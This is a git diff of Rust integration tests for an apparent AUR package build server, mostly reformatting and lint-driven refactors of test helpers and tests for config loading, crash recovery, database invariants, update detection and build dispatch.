@@ -857,10 +795,7 @@ fn the_release_build_exports_nothing_that_only_tests_reach() {
"a release build still exports something only the test tier needs:\n{text}{}",
String::from_utf8_lossy(&out.stderr)
);
- assert!(
- text.contains("nothing leaked"),
- "the probe did not report success:\n{text}"
- );
+ assert!(text.contains("nothing leaked"), "the probe did not report success:\n{text}");
}
/// The `dead_code.allowlist` is a set of decisions, so it has to stay in step
@@ -908,7 +843,7 @@ fn the_dead_code_allowlist_names_real_items() {
stale.push(format!("{key}: a key is `module.item`"));
continue;
};
- if reason.as_str().map(|r| r.trim().len() < 20).unwrap_or(true) {
+ if reason.as_str().is_none_or(|r| r.trim().len() < 20) {
blank.push(key.clone());
}
if !declared.get(module).is_some_and(|names| names.contains(name)) {
@@ -968,13 +903,10 @@ fn the_over_visibility_allowlist_names_real_items() {
stale.push(format!("{key}: a key is `module.item`"));
continue;
};
- if reason.as_str().map(|r| r.trim().len() < 20).unwrap_or(true) {
+ if reason.as_str().is_none_or(|r| r.trim().len() < 20) {
blank.push(key.clone());
}
- if !pub_crate_declared
- .get(module)
- .is_some_and(|names| names.contains(name))
- {
+ if !pub_crate_declared.get(module).is_some_and(|names| names.contains(name)) {
stale.push(format!("{key} at {reason}"));
}
}
@@ -1041,13 +973,11 @@ fn the_test_helpers_are_used() {
continue;
}
// Everything this declaration introduces, minus the declaration itself.
- let mut corpus = others
- .replace(&format!("pub {kind}{name}"), "")
- .replace(&format!("{kind}{name}"), "");
+ let mut corpus = others.replace(&format!("pub {kind}{name}"), "").replace(&format!("{kind}{name}"), "");
if kind != "fn " {
// Members of a struct or enum count as uses of the type.
let mut depth = 0;
- for follow in lines[i..].iter() {
+ for follow in &lines[i..] {
depth += follow.matches('{').count() as i32 - follow.matches('}').count() as i32;
if depth > 1 {
let member = follow
@@ -1095,7 +1025,7 @@ fn every_fixture_is_referenced() {
}
let unreferenced: Vec<String> = std::fs::read_dir(&corpus)
.expect("read testcorpus")
- .filter_map(|e| e.ok())
+ .filter_map(std::result::Result::ok)
.filter(|e| e.file_type().is_ok_and(|t| t.is_dir()))
.map(|e| e.file_name().to_string_lossy().to_string())
.filter(|name| !mentions(&names, name))
@@ -1122,27 +1052,18 @@ fn the_dead_code_budget_matches_the_code() {
let value: serde_json::Value =
serde_json::from_str(&std::fs::read_to_string(&path).expect("read budget")).expect("budget is json");
let modules = value.get("modules").and_then(|m| m.as_object()).expect("modules");
- let dead_code = value
- .get("dead_code")
- .and_then(|d| d.get("deadonly"))
- .and_then(|d| d.as_object())
- .expect("dead_code.deadonly");
+ let dead_code =
+ value.get("dead_code").and_then(|d| d.get("deadonly")).and_then(|d| d.as_object()).expect("dead_code.deadonly");
let census = Census::take();
let mut mismatch = Vec::new();
for (module, row) in modules {
- let interface = row.get("deadonly").and_then(|v| v.as_u64()).unwrap_or(u64::MAX);
- let dead = dead_code.get(module).and_then(|v| v.as_u64());
- let actual = census
- .modules
- .get(module)
- .map(|m| m.dead_only as u64)
- .unwrap_or(u64::MAX);
+ let interface = row.get("deadonly").and_then(serde_json::Value::as_u64).unwrap_or(u64::MAX);
+ let dead = dead_code.get(module).and_then(serde_json::Value::as_u64);
+ let actual = census.modules.get(module).map_or(u64::MAX, |m| m.dead_only as u64);
if dead != Some(interface) || interface != actual {
- mismatch.push(format!(
- "{module}: dead_code.deadonly {:?}, modules.deadonly {interface}, actual {actual}",
- dead
- ));
+ mismatch
+ .push(format!("{module}: dead_code.deadonly {dead:?}, modules.deadonly {interface}, actual {actual}"));
}
}
for module in dead_code.keys() {
@@ -1177,17 +1098,12 @@ fn the_over_visibility_budget_matches_the_code() {
let mut mismatch = Vec::new();
for (module, row) in modules {
- let stated = row.get("overwide").and_then(|v| v.as_u64()).unwrap_or(u64::MAX);
- let accepted = over.get(module).and_then(|v| v.as_u64());
- let actual = census
- .modules
- .get(module)
- .map(|m| m.over_wide as u64)
- .unwrap_or(u64::MAX);
+ let stated = row.get("overwide").and_then(serde_json::Value::as_u64).unwrap_or(u64::MAX);
+ let accepted = over.get(module).and_then(serde_json::Value::as_u64);
+ let actual = census.modules.get(module).map_or(u64::MAX, |m| m.over_wide as u64);
if accepted != Some(stated) || stated != actual {
mismatch.push(format!(
- "{module}: over_visibility.overwide {:?}, modules.overwide {stated}, actual {actual}",
- accepted
+ "{module}: over_visibility.overwide {accepted:?}, modules.overwide {stated}, actual {actual}"
));
}
}
@@ -1228,14 +1144,10 @@ fn the_budget_writers_preserve_each_other() {
.output()
.unwrap_or_else(|e| panic!("run {tool}: {e}"));
assert!(out.status.success(), "{tool} failed: {}", String::from_utf8_lossy(&out.stderr));
- let after: serde_json::Value =
- serde_json::from_str(&std::fs::read_to_string(&tmp).expect("read temp budget"))
- .expect("written budget is json");
+ let after: serde_json::Value = serde_json::from_str(&std::fs::read_to_string(&tmp).expect("read temp budget"))
+ .expect("written budget is json");
for section in ["test_surface", "dead_code", "over_visibility"] {
- assert!(
- after.get(section).is_some(),
- "{tool} erased the `{section}` section it does not own"
- );
+ assert!(after.get(section).is_some(), "{tool} erased the `{section}` section it does not own");
}
assert_eq!(
after["dead_code"]["allowlist"], before["dead_code"]["allowlist"],
diff --git a/tests/common/mod.rs b/tests/common/mod.rs
index 23049ea..fa0beea 100644
--- a/tests/common/mod.rs
+++ b/tests/common/mod.rs
@@ -7,6 +7,7 @@
#![allow(dead_code)]
use std::collections::HashMap;
+use std::fmt::Write as _;
use std::path::{Path, PathBuf};
use std::sync::{LazyLock, Mutex, OnceLock};
@@ -22,11 +23,7 @@ pub struct Env {
impl Env {
pub fn new() -> Self {
let tmp = tempfile::tempdir().expect("tempdir");
- let cfg = Config {
- root: tmp.path().to_path_buf(),
- signing_key_id: "TESTKEY".into(),
- ..Config::default()
- };
+ let cfg = Config { root: tmp.path().to_path_buf(), signing_key_id: "TESTKEY".into(), ..Config::default() };
Self::with_cfg(tmp, cfg)
}
@@ -164,8 +161,7 @@ impl Env {
})
.collect();
use rusqlite::OptionalExtension;
- Ok(c.query_row(&sql, rusqlite::params_from_iter(refs.iter()), |r| r.get::<_, i64>(0))
- .optional()?)
+ Ok(c.query_row(&sql, rusqlite::params_from_iter(refs.iter()), |r| r.get::<_, i64>(0)).optional()?)
})
.unwrap()
}
@@ -183,8 +179,7 @@ impl Env {
})
.collect();
use rusqlite::OptionalExtension;
- Ok(c.query_row(&sql, rusqlite::params_from_iter(refs.iter()), |r| r.get::<_, String>(0))
- .optional()?)
+ Ok(c.query_row(&sql, rusqlite::params_from_iter(refs.iter()), |r| r.get::<_, String>(0)).optional()?)
})
.unwrap()
}
@@ -229,10 +224,7 @@ pub fn corpus_root() -> PathBuf {
}
pub fn shim_dir() -> PathBuf {
- Path::new(&env!("CARGO_BIN_EXE_makechrootpkg"))
- .parent()
- .unwrap()
- .to_path_buf()
+ Path::new(&env!("CARGO_BIN_EXE_makechrootpkg")).parent().unwrap().to_path_buf()
}
pub fn env_with_fixture(name: &str) -> (Env, Fixture) {
@@ -339,12 +331,7 @@ struct Corpus {
fn read_corpus(name: &str) -> Corpus {
let src = corpus_root().join(name);
- let mut corpus = Corpus {
- recipe_files: Vec::new(),
- data_files: Vec::new(),
- upstream: false,
- upstream2: false,
- };
+ let mut corpus = Corpus { recipe_files: Vec::new(), data_files: Vec::new(), upstream: false, upstream2: false };
for entry in std::fs::read_dir(&src).unwrap() {
let path = entry.unwrap().path();
let fname = path.file_name().unwrap().to_string_lossy().to_string();
@@ -380,14 +367,11 @@ static PRISTINE: LazyLock<Mutex<HashMap<String, Pristine>>> = LazyLock::new(|| M
static CACHE_ROOT: OnceLock<tempfile::TempDir> = OnceLock::new();
fn pristine_fixture(name: &str) -> Pristine {
- let mut cache = PRISTINE.lock().unwrap_or_else(|e| e.into_inner());
+ let mut cache = PRISTINE.lock().unwrap_or_else(std::sync::PoisonError::into_inner);
if let Some(found) = cache.get(name) {
return found.clone();
}
- let root = CACHE_ROOT
- .get_or_init(|| tempfile::tempdir().expect("fixture cache"))
- .path()
- .to_path_buf();
+ let root = CACHE_ROOT.get_or_init(|| tempfile::tempdir().expect("fixture cache")).path().to_path_buf();
let corpus = read_corpus(name);
let data = root.join(format!("{name}/fixture"));
@@ -411,21 +395,15 @@ fn pristine_fixture(name: &str) -> Pristine {
}
if corpus.upstream {
make_git_repo(&upstream, &[("README", "upstream\n")], "upstream: initial");
- if std::fs::read_to_string(corpus_root().join(name).join("PKGBUILD"))
- .unwrap_or_default()
- .contains("#tag=")
- {
+ if std::fs::read_to_string(corpus_root().join(name).join("PKGBUILD")).unwrap_or_default().contains("#tag=") {
git(&upstream, &["tag", "v1"]);
}
}
if corpus.upstream2 {
make_git_repo(&upstream2, &[("README", "second upstream\n")], "upstream: initial");
}
- let recipe: Vec<(&str, String)> = corpus
- .recipe_files
- .iter()
- .map(|(n, b)| (n.as_str(), substitute(b, &subs)))
- .collect();
+ let recipe: Vec<(&str, String)> =
+ corpus.recipe_files.iter().map(|(n, b)| (n.as_str(), substitute(b, &subs))).collect();
make_git_repo(&aur, &recipe.iter().map(|(n, b)| (*n, b.as_str())).collect::<Vec<_>>(), "initial");
let pristine = Pristine {
@@ -460,9 +438,8 @@ fn copy_tree(from: &Path, to: &Path) {
if entry.file_type().unwrap().is_dir() {
copy_tree(&path, &target);
} else {
- std::fs::copy(&path, &target).unwrap_or_else(|e| {
- panic!("copying {} to {}: {e}", path.display(), target.display())
- });
+ std::fs::copy(&path, &target)
+ .unwrap_or_else(|e| panic!("copying {} to {}: {e}", path.display(), target.display()));
}
}
}
@@ -485,7 +462,9 @@ impl Fixture {
for line in text.lines() {
let key = line.split('=').next().unwrap_or("").to_string();
match changes.iter().find(|(k, _)| *k == key) {
- Some((_, v)) => out.push_str(&format!("{key}={v}\n")),
+ Some((_, v)) => {
+ let _ = writeln!(out, "{key}={v}");
+ }
None => out.push_str(line),
}
out.push('\n');
@@ -583,11 +562,7 @@ pub fn git(dir: &Path, args: &[&str]) -> String {
.env("GIT_COMMITTER_EMAIL", "t@example.invalid")
.output()
.expect("git");
- assert!(
- out.status.success(),
- "git {args:?} failed: {}",
- String::from_utf8_lossy(&out.stderr)
- );
+ assert!(out.status.success(), "git {args:?} failed: {}", String::from_utf8_lossy(&out.stderr));
String::from_utf8_lossy(&out.stdout).trim().to_string()
}
@@ -626,7 +601,7 @@ impl Web {
.0
.iter()
.find(|(k, _)| k == "set-cookie")
- .and_then(|(_, v)| v.split(';').next().map(|s| s.to_string()))
+ .and_then(|(_, v)| v.split(';').next().map(std::string::ToString::to_string))
.unwrap_or_default();
let body = web.get("/");
web.csrf = extract(&body.body, "name=\"csrf\" content=\"", "\"").unwrap_or_default();
@@ -660,7 +635,7 @@ impl Web {
Err(ureq::Error::Status(_, r)) => r,
Err(e) => panic!("GET {path}: {e}"),
};
- let cookie = r.header("set-cookie").map(|s| s.to_string()).unwrap_or_default();
+ let cookie = r.header("set-cookie").map_or_default(std::string::ToString::to_string);
let mut headers = vec![("set-cookie".to_string(), cookie)];
for name in ["content-type", "content-encoding", "location"] {
if let Some(v) = r.header(name) {
@@ -672,17 +647,17 @@ impl Web {
pub fn get(&self, path: &str) -> Page {
let resp = ureq::get(&self.url(path)).set("Cookie", &self.cookie).call();
- self.finish(resp, path)
+ Self::finish(resp, path)
}
pub fn post(&self, path: &str, form: &[(&str, &str)]) -> Page {
let resp = ureq::post(&self.url(path)).set("Cookie", &self.cookie).send_form(form);
- self.finish(resp, path)
+ Self::finish(resp, path)
}
pub fn post_bare(&self, path: &str, form: &[(&str, &str)]) -> Page {
let resp = ureq::post(&self.url(path)).set("Cookie", &self.cookie).send_form(form);
- self.finish(resp, path)
+ Self::finish(resp, path)
}
pub fn raw_request(&self, method: &str, path: &str, headers: &[(&str, String)], body: Option<&str>) -> Raw {
@@ -691,12 +666,12 @@ impl Web {
let mut sock = std::net::TcpStream::connect(&addr).unwrap();
let mut req = format!("{method} {path} HTTP/1.1\r\nHost: {addr}\r\nConnection: close\r\n");
for (k, v) in headers {
- req.push_str(&format!("{k}: {v}\r\n"));
+ let _ = writeln!(req, "{k}: {v}\r");
}
match body {
Some(b) => {
req.push_str("Content-Type: application/x-www-form-urlencoded\r\n");
- req.push_str(&format!("Content-Length: {}\r\n", b.len()));
+ let _ = writeln!(req, "Content-Length: {}\r", b.len());
req.push_str("\r\n");
req.push_str(b);
}
@@ -718,7 +693,7 @@ impl Web {
raw
}
- fn finish(&self, resp: Result<ureq::Response, ureq::Error>, path: &str) -> Page {
+ fn finish(resp: Result<ureq::Response, ureq::Error>, path: &str) -> Page {
match resp {
Ok(r) => Page { status: r.status(), body: r.into_string().unwrap_or_default() },
Err(ureq::Error::Status(code, r)) => Page { status: code, body: r.into_string().unwrap_or_default() },
@@ -735,10 +710,7 @@ pub struct Raw {
impl Raw {
fn parse(raw: &[u8]) -> Self {
- let split = raw
- .windows(4)
- .position(|w| w == b"\r\n\r\n")
- .unwrap_or(raw.len());
+ let split = raw.windows(4).position(|w| w == b"\r\n\r\n").unwrap_or(raw.len());
let head = String::from_utf8_lossy(&raw[..split]).to_string();
let mut lines = head.lines();
let status = lines.next().and_then(|l| l.split_whitespace().nth(1)).and_then(|s| s.parse().ok()).unwrap_or(0);
@@ -778,9 +750,5 @@ pub fn extract(hay: &str, open: &str, close: &str) -> Option<String> {
}
fn unescape(s: &str) -> String {
- s.replace("&amp;", "&")
- .replace("&quot;", "\"")
- .replace("&lt;", "<")
- .replace("&gt;", ">")
- .replace("&#39;", "'")
+ s.replace("&amp;", "&").replace("&quot;", "\"").replace("&lt;", "<").replace("&gt;", ">").replace("&#39;", "'")
}
diff --git a/tests/config.rs b/tests/config.rs
index 6c58122..86222a8 100644
--- a/tests/config.rs
+++ b/tests/config.rs
@@ -16,10 +16,7 @@ fn a_relative_root_is_absolutized_once_and_never_doubled() {
let rel = PathBuf::from("target").join("config-root-test").join("runtime");
let _ = std::fs::remove_dir_all(&rel);
- let cfg = Config {
- root: rel.clone(),
- ..Config::default()
- };
+ let cfg = Config { root: rel.clone(), ..Config::default() };
cfg.save().unwrap();
let reloaded = Config::load(&rel).unwrap();
@@ -43,11 +40,7 @@ fn a_relative_root_is_absolutized_once_and_never_doubled() {
#[test]
fn a_stale_relative_root_in_the_file_is_ignored() {
let tmp = tempfile::tempdir().unwrap();
- std::fs::write(
- tmp.path().join("config.json"),
- "{\n \"root\": \"runtime\"\n}\n",
- )
- .unwrap();
+ std::fs::write(tmp.path().join("config.json"), "{\n \"root\": \"runtime\"\n}\n").unwrap();
let cfg = Config::load(tmp.path()).unwrap();
assert_eq!(cfg.root, std::path::absolute(tmp.path()).unwrap());
assert!(!cfg.root.join("runtime").exists());
@@ -70,10 +63,7 @@ fn the_cli_refuses_a_root_that_was_never_initialized() {
.args(["--root", &tmp.path().display().to_string(), "packages"])
.output()
.unwrap();
- assert!(
- !out.status.success(),
- "a root with no config must fail, not answer from an empty server"
- );
+ assert!(!out.status.success(), "a root with no config must fail, not answer from an empty server");
assert!(
out.stdout.is_empty(),
"nothing may be printed as though the server existed: {}",
@@ -91,11 +81,7 @@ fn init_still_runs_where_there_is_no_config_yet() {
.args(["--root", &root.display().to_string(), "init", "--repo", "aur"])
.output()
.unwrap();
- assert!(
- out.status.success(),
- "{}",
- String::from_utf8_lossy(&out.stderr)
- );
+ assert!(out.status.success(), "{}", String::from_utf8_lossy(&out.stderr));
assert!(root.join("config.json").exists());
assert!(root.join("aur-build.db").exists());
@@ -108,11 +94,7 @@ fn init_still_runs_where_there_is_no_config_yet() {
fn an_absolute_root_is_used_verbatim() {
let tmp = tempfile::tempdir().unwrap();
let dir: &Path = tmp.path();
- std::fs::write(
- dir.join("config.json"),
- format!("{{\n \"root\": \"{}\"\n}}\n", dir.display()),
- )
- .unwrap();
+ std::fs::write(dir.join("config.json"), format!("{{\n \"root\": \"{}\"\n}}\n", dir.display())).unwrap();
assert_eq!(Config::load(dir).unwrap().root, dir);
}
diff --git a/tests/crash.rs b/tests/crash.rs
index 1e72177..94469b8 100644
--- a/tests/crash.rs
+++ b/tests/crash.rs
@@ -68,10 +68,7 @@ fn a_process_killed_mid_step_resumes_from_its_checkpoints_with_no_duplicate_work
env.exec("UPDATE build SET lease_expires_at='2000-01-01T00:00:00Z' WHERE id=?1", &params(vec![id.as_str()]));
assert_eq!(builds::reap_expired(&env.db).unwrap(), 1);
- assert_eq!(
- builds::step_status(&env.db, &id, "build").unwrap(),
- Some(StepState::Interrupted)
- );
+ assert_eq!(builds::step_status(&env.db, &id, "build").unwrap(), Some(StepState::Interrupted));
env.cfg.hooks.shim_kill_parent = None;
env.cfg.save().unwrap();
@@ -91,7 +88,10 @@ fn a_process_killed_mid_step_resumes_from_its_checkpoints_with_no_duplicate_work
);
assert_eq!(aur_build::shims::called_with(&shim, "repo-add", ""), 1, "publish must happen once");
assert_eq!(
- env.query_i64("SELECT count(*) FROM release WHERE pkgbase_id=(SELECT id FROM pkgbase WHERE name='plain-make')", &[]),
+ env.query_i64(
+ "SELECT count(*) FROM release WHERE pkgbase_id=(SELECT id FROM pkgbase WHERE name='plain-make')",
+ &[]
+ ),
Some(1),
"no duplicate release from the resume"
);
@@ -137,7 +137,11 @@ fn a_failed_build_leaves_the_index_serving_the_old_version_and_says_so() {
let web = Web::attach(env, fx);
let attention = web.get("/attention");
- assert!(attention.body.contains("Approved but unbuilt"), "no Attention section: {}", &attention.body[..600.min(attention.body.len())]);
+ assert!(
+ attention.body.contains("Approved but unbuilt"),
+ "no Attention section: {}",
+ &attention.body[..600.min(attention.body.len())]
+ );
assert!(attention.body.contains("still serving 1.0-1"), "Attention does not say what is served");
let pkg = web.get("/packages/plain-make");
assert!(pkg.body.contains("build failed"), "the package page hides the failure");
diff --git a/tests/db.rs b/tests/db.rs
index d91e5f5..755472e 100644
--- a/tests/db.rs
+++ b/tests/db.rs
@@ -6,15 +6,7 @@ use rusqlite::params;
use aur_build::db;
fn insert_snapshot(env: &Env, pkgbase_id: i64, commit: &str) -> i64 {
- db::put_snapshot(
- &env.db.writer,
- pkgbase_id,
- commit,
- &format!("rh-{commit}"),
- "{}",
- "[]",
- )
- .unwrap()
+ db::put_snapshot(&env.db.writer, pkgbase_id, commit, &format!("rh-{commit}"), "{}", "[]").unwrap()
}
fn insert_candidate(env: &Env, pkgbase_id: i64, snap_id: i64, identity: &str, state: &str) {
@@ -28,18 +20,10 @@ fn insert_candidate(env: &Env, pkgbase_id: i64, snap_id: i64, identity: &str, st
#[test]
fn migrations_apply_from_empty_and_are_idempotent() {
let env = Env::new();
- let v = env
- .db
- .read(|c| {
- Ok(c.pragma_query_value(None, "user_version", |r| r.get::<_, u32>(0))?)
- })
- .unwrap();
+ let v = env.db.read(|c| Ok(c.pragma_query_value(None, "user_version", |r| r.get::<_, u32>(0))?)).unwrap();
assert_eq!(v as usize, db::MIGRATIONS.len(), "all migrations applied");
assert_eq!(db::migrate(&env.cfg.db_path()).unwrap(), 0);
- let journal: String = env
- .db
- .read(|c| Ok(c.pragma_query_value(None, "journal_mode", |r| r.get(0))?))
- .unwrap();
+ let journal: String = env.db.read(|c| Ok(c.pragma_query_value(None, "journal_mode", |r| r.get(0))?)).unwrap();
assert_eq!(journal.to_lowercase(), "wal", "WAL mode");
}
@@ -66,10 +50,7 @@ fn i7_second_open_review_is_rejected_by_the_database() {
assert!(err.is_err(), "second pending_review must fail");
insert_candidate(&env, pb, snap2, "id-2", "rejected");
- let n: Option<i64> = env.query_i64(
- "SELECT count(*) FROM candidate WHERE pkgbase_id=?1",
- &params(vec![pb]),
- );
+ let n: Option<i64> = env.query_i64("SELECT count(*) FROM candidate WHERE pkgbase_id=?1", &params(vec![pb]));
assert_eq!(n, Some(2));
}
@@ -88,13 +69,9 @@ fn candidate_identity_is_unique_per_pkgbase() {
fn audit_log_is_append_only() {
let env = Env::new();
db::audit_system(&env.db.writer, "test", "pkgbase", "1", serde_json::json!({"k": 1})).unwrap();
- let id = env
- .query_i64("SELECT id FROM audit ORDER BY id DESC LIMIT 1", &[])
- .unwrap();
+ let id = env.query_i64("SELECT id FROM audit ORDER BY id DESC LIMIT 1", &[]).unwrap();
assert!(
- std::panic::catch_unwind(|| env
- .exec("UPDATE audit SET action='x' WHERE id=?1", &params(vec![id])))
- .is_err(),
+ std::panic::catch_unwind(|| env.exec("UPDATE audit SET action='x' WHERE id=?1", &params(vec![id]))).is_err(),
"audit UPDATE must be refused by trigger"
);
assert!(
@@ -124,10 +101,7 @@ fn accepted_release_pointer_is_compared_and_swapped() {
.unwrap();
assert!(db::cas_accepted_release(&env.db.writer, pb, None, rel).unwrap());
assert!(!db::cas_accepted_release(&env.db.writer, pb, None, rel).unwrap());
- assert_eq!(
- db::get_pkgbase(&env.db, "foo").unwrap().unwrap().current_accepted_release_id,
- Some(rel)
- );
+ assert_eq!(db::get_pkgbase(&env.db, "foo").unwrap().unwrap().current_accepted_release_id, Some(rel));
}
#[test]
@@ -182,19 +156,11 @@ fn duplicate_open_notices_are_suppressed() {
let env = Env::new();
let pb = env.subscribe("foo");
let detail = serde_json::json!({"old": "a", "new": "b"});
- assert!(db::put_notice_once(&env.db.writer, pb, "pin_drift", "info", detail.clone())
- .unwrap()
- .is_some());
- assert!(db::put_notice_once(&env.db.writer, pb, "pin_drift", "info", detail.clone())
- .unwrap()
- .is_none());
- let id = env
- .query_i64("SELECT id FROM notice ORDER BY id DESC LIMIT 1", &[])
- .unwrap();
+ assert!(db::put_notice_once(&env.db.writer, pb, "pin_drift", "info", &detail).unwrap().is_some());
+ assert!(db::put_notice_once(&env.db.writer, pb, "pin_drift", "info", &detail).unwrap().is_none());
+ let id = env.query_i64("SELECT id FROM notice ORDER BY id DESC LIMIT 1", &[]).unwrap();
db::acknowledge_notice(&env.db.writer, id).unwrap();
- assert!(db::put_notice_once(&env.db.writer, pb, "pin_drift", "info", detail)
- .unwrap()
- .is_some());
+ assert!(db::put_notice_once(&env.db.writer, pb, "pin_drift", "info", &detail).unwrap().is_some());
}
#[test]
diff --git a/tests/detect.rs b/tests/detect.rs
index 7edc529..0a87231 100644
--- a/tests/detect.rs
+++ b/tests/detect.rs
@@ -17,10 +17,7 @@ fn seed(env: &Env, name: &str, pkgver: &str, pkgrel: &str, extra: &str) -> Strin
fn pending(env: &Env, name: &str) -> Option<CandidateRow> {
let pb = db::get_pkgbase(&env.db, name).unwrap().unwrap();
- candidates::pending_candidates(&env.db)
- .unwrap()
- .into_iter()
- .find(|c| c.pkgbase_id == pb.id)
+ candidates::pending_candidates(&env.db).unwrap().into_iter().find(|c| c.pkgbase_id == pb.id)
}
fn accepted(env: &Env, name: &str) -> Option<ReleaseRow> {
@@ -100,13 +97,7 @@ fn skip_sources_are_stream_hashed_into_the_cache() {
let payload = env.path("payload.txt");
std::fs::write(&payload, b"the bytes that become the package").unwrap();
let expected = aur_build::hash::hex(b"the bytes that become the package");
- seed(
- &env,
- "foo",
- "1.0",
- "1",
- &format!("source=(file://{})\nsha256sums=('SKIP')\n", payload.display()),
- );
+ seed(&env, "foo", "1.0", "1", &format!("source=(file://{})\nsha256sums=('SKIP')\n", payload.display()));
check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
let c = pending(&env, "foo").unwrap();
let digests = c.digests();
@@ -130,13 +121,7 @@ fn declared_checksums_are_trusted_without_downloading() {
let payload = env.path("declared.txt");
std::fs::write(&payload, b"verified bytes").unwrap();
let d = aur_build::hash::hex(b"verified bytes");
- seed(
- &env,
- "foo",
- "1.0",
- "1",
- &format!("source=(file://{})\nsha256sums=('{d}')\n", payload.display()),
- );
+ seed(&env, "foo", "1.0", "1", &format!("source=(file://{})\nsha256sums=('{d}')\n", payload.display()));
check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
let c = pending(&env, "foo").unwrap();
assert_eq!(c.digests()[0].digest, d);
@@ -173,10 +158,7 @@ fn i2_diff_base_is_the_last_accepted_version_however_many_detections_arrive() {
assert_eq!(c.revision, 2, "revision counts the collapsed detections (v3, v4)");
assert_eq!(c.base_release_id, Some(rel1), "base never moves: the diff is v1 -> v4");
assert_eq!(c.version(), "4.0-1");
- assert_eq!(
- env.query_i64("SELECT count(*) FROM candidate WHERE state='pending_review'", &[]),
- Some(1)
- );
+ assert_eq!(env.query_i64("SELECT count(*) FROM candidate WHERE state='pending_review'", &[]), Some(1));
}
#[test]
@@ -207,13 +189,7 @@ fn a_viewed_review_is_frozen_and_a_fresh_one_opened() {
assert_eq!(c3.version(), "3.0-1");
let old_state: String = env
.db
- .read(|c| {
- Ok(c.query_row(
- "SELECT state FROM candidate WHERE id=?1",
- rusqlite::params![c2.id],
- |r| r.get(0),
- )?)
- })
+ .read(|c| Ok(c.query_row("SELECT state FROM candidate WHERE id=?1", rusqlite::params![c2.id], |r| r.get(0))?))
.unwrap();
assert_eq!(
CandidateState::parse(&old_state),
@@ -231,11 +207,7 @@ fn a_rejected_identity_is_not_re_raised() {
let c = pending(&env, "foo").unwrap();
approve::reject(&env.db, "tester", c.id, "not this one").unwrap();
let rep = check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
- assert!(
- matches!(rep.outcome, Outcome::PreviouslyRejected | Outcome::NoChange),
- "{:?}",
- rep.outcome
- );
+ assert!(matches!(rep.outcome, Outcome::PreviouslyRejected | Outcome::NoChange), "{:?}", rep.outcome);
assert!(pending(&env, "foo").is_none());
git_add_commit(&aur(&env, "foo"), &[("PKGBUILD", &common::pkgbuild("foo", "2.0", "1", ""))], "v2");
check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
@@ -274,13 +246,7 @@ fn digest_drift_with_an_unchanged_version_is_an_integrity_alert() {
env.subscribe("foo");
let payload = env.path("payload.txt");
std::fs::write(&payload, b"good release tarball").unwrap();
- seed(
- &env,
- "foo",
- "1.0",
- "1",
- &format!("source=(file://{})\nsha256sums=('SKIP')\n", payload.display()),
- );
+ seed(&env, "foo", "1.0", "1", &format!("source=(file://{})\nsha256sums=('SKIP')\n", payload.display()));
check_pkgbase(&env.cfg, &env.db, "foo").unwrap();
let c = pending(&env, "foo").unwrap();
env.accept_as_release(c.id);
@@ -309,10 +275,7 @@ fn a_deleted_upstream_marks_the_subscription_and_alerts() {
assert!(matches!(rep.outcome, Outcome::Gone), "{:?}", rep.outcome);
let sub = db::get_subscription(&env.db, "foo").unwrap().unwrap();
assert_eq!(sub.state, SubscriptionState::Orphaned);
- assert!(db::list_notices(&env.db, false)
- .unwrap()
- .iter()
- .any(|n| n.kind == notice_kind::DELETED));
+ assert!(db::list_notices(&env.db, false).unwrap().iter().any(|n| n.kind == notice_kind::DELETED));
}
#[test]
diff --git a/tests/dispatch.rs b/tests/dispatch.rs
index a2aaeed..67eb422 100644
--- a/tests/dispatch.rs
+++ b/tests/dispatch.rs
@@ -96,7 +96,10 @@ fn a_newer_approval_cancels_an_in_flight_build_at_the_step_boundary() {
let id = queued_build(&env, "plain-make");
pass(&env);
assert!(!builds::cancel_requested(&env.db, &id).unwrap());
- env.exec("UPDATE candidate SET state='superseded' WHERE id=(SELECT candidate_id FROM build WHERE id=?1)", &params(vec![id.as_str()]));
+ env.exec(
+ "UPDATE candidate SET state='superseded' WHERE id=(SELECT candidate_id FROM build WHERE id=?1)",
+ &params(vec![id.as_str()]),
+ );
assert_eq!(builds::cancel_superseded(&env.db).unwrap(), 1);
assert!(builds::cancel_requested(&env.db, &id).unwrap());
let out = pipeline::run(&env.cfg, &env.db, &id).unwrap();
@@ -182,10 +185,7 @@ fn a_reaped_build_resumes_at_the_next_incomplete_step_with_no_duplicate_work() {
let c2 = queued_candidate(&env, "plain-make");
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c2).unwrap();
env.set_publish_fault("before-rename");
- assert!(matches!(
- pipeline::run(&env.cfg, &env.db, &id).unwrap(),
- pipeline::Outcome::Failed { .. }
- ));
+ assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Failed { .. }));
let builds_before = aur_build::shims::called_with(&env.cfg.hooks.shim_dir.clone().unwrap(), "makepkg", "");
env.clear_publish_fault();
@@ -207,10 +207,7 @@ fn a_reaped_build_resumes_at_the_next_incomplete_step_with_no_duplicate_work() {
"resuming must not rebuild"
);
let steps = builds::steps(&env.db, &id).unwrap();
- let done = steps
- .iter()
- .filter(|s| s.status == StepState::Succeeded || s.status == StepState::Skipped)
- .count();
+ let done = steps.iter().filter(|s| s.status == StepState::Succeeded || s.status == StepState::Skipped).count();
assert_eq!(done, BUILD_STEPS.len(), "not every step ended succeeded or skipped: {steps:?}");
assert_eq!(
env.query_i64("SELECT count(*) FROM release WHERE pkgver='1.0.1'", &[]),
diff --git a/tests/failure_modes.rs b/tests/failure_modes.rs
index 4e7446a..cc5cd44 100644
--- a/tests/failure_modes.rs
+++ b/tests/failure_modes.rs
@@ -55,12 +55,8 @@ impl Sandbox for FakeSandbox {
}
fn run(&self, cmd: &aur_build::sandbox::Cmd, on_log: &mut dyn FnMut(&[u8])) -> Result<Exit> {
match self.fault {
- Fault::DieMidRun if Self::is_build(cmd) => {
- Err(Error::other("sandbox vanished mid-run (connection reset)"))
- }
- Fault::TtlMidBuild if Self::is_build(cmd) => {
- Err(Error::other("sandbox ttl expired during build"))
- }
+ Fault::DieMidRun if Self::is_build(cmd) => Err(Error::other("sandbox vanished mid-run (connection reset)")),
+ Fault::TtlMidBuild if Self::is_build(cmd) => Err(Error::other("sandbox ttl expired during build")),
Fault::EmptyWorld if Self::is_query(cmd) => {
Ok(Exit { code: Some(0), stdout: Vec::new(), stderr: Vec::new() })
}
@@ -113,10 +109,7 @@ fn a_sandbox_that_dies_mid_run_expires_its_lease_and_the_requeue_finishes_the_bu
);
